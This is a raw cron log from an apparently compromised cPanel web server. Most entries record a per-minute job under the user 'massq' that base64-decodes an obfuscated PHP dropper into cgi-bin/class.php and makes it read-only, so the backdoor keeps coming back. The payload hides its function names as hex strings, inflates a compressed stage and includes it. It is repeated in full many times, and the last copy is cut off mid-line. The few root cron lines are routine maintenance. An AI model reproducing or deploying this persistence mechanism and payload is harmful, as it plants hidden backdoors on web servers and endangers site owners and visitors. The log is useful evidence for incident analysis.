Apr 10 03:37:01 server CROND[28438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:38:01 server CROND[28494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:39:01 server CROND[28641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:39:01 server CROND[28642]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 03:40:01 server CROND[28722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:40:01 server CROND[28721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:40:01 server CROND[28723]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 03:40:01 server CROND[28724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:41:01 server CROND[28842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:42:01 server CROND[28909]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 03:42:01 server CROND[28910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:43:01 server CROND[28973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:44:01 server CROND[29093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:45:01 server CROND[29194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:45:01 server CROND[29195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:45:01 server CROND[29196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:46:01 server CROND[29308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:47:01 server CROND[29416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:48:01 server CROND[29482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:49:01 server CROND[29576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:50:01 server CROND[29634]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 03:50:01 server CROND[29635]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:50:01 server CROND[29636]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 03:50:01 server CROND[29637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:50:01 server CROND[29641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0l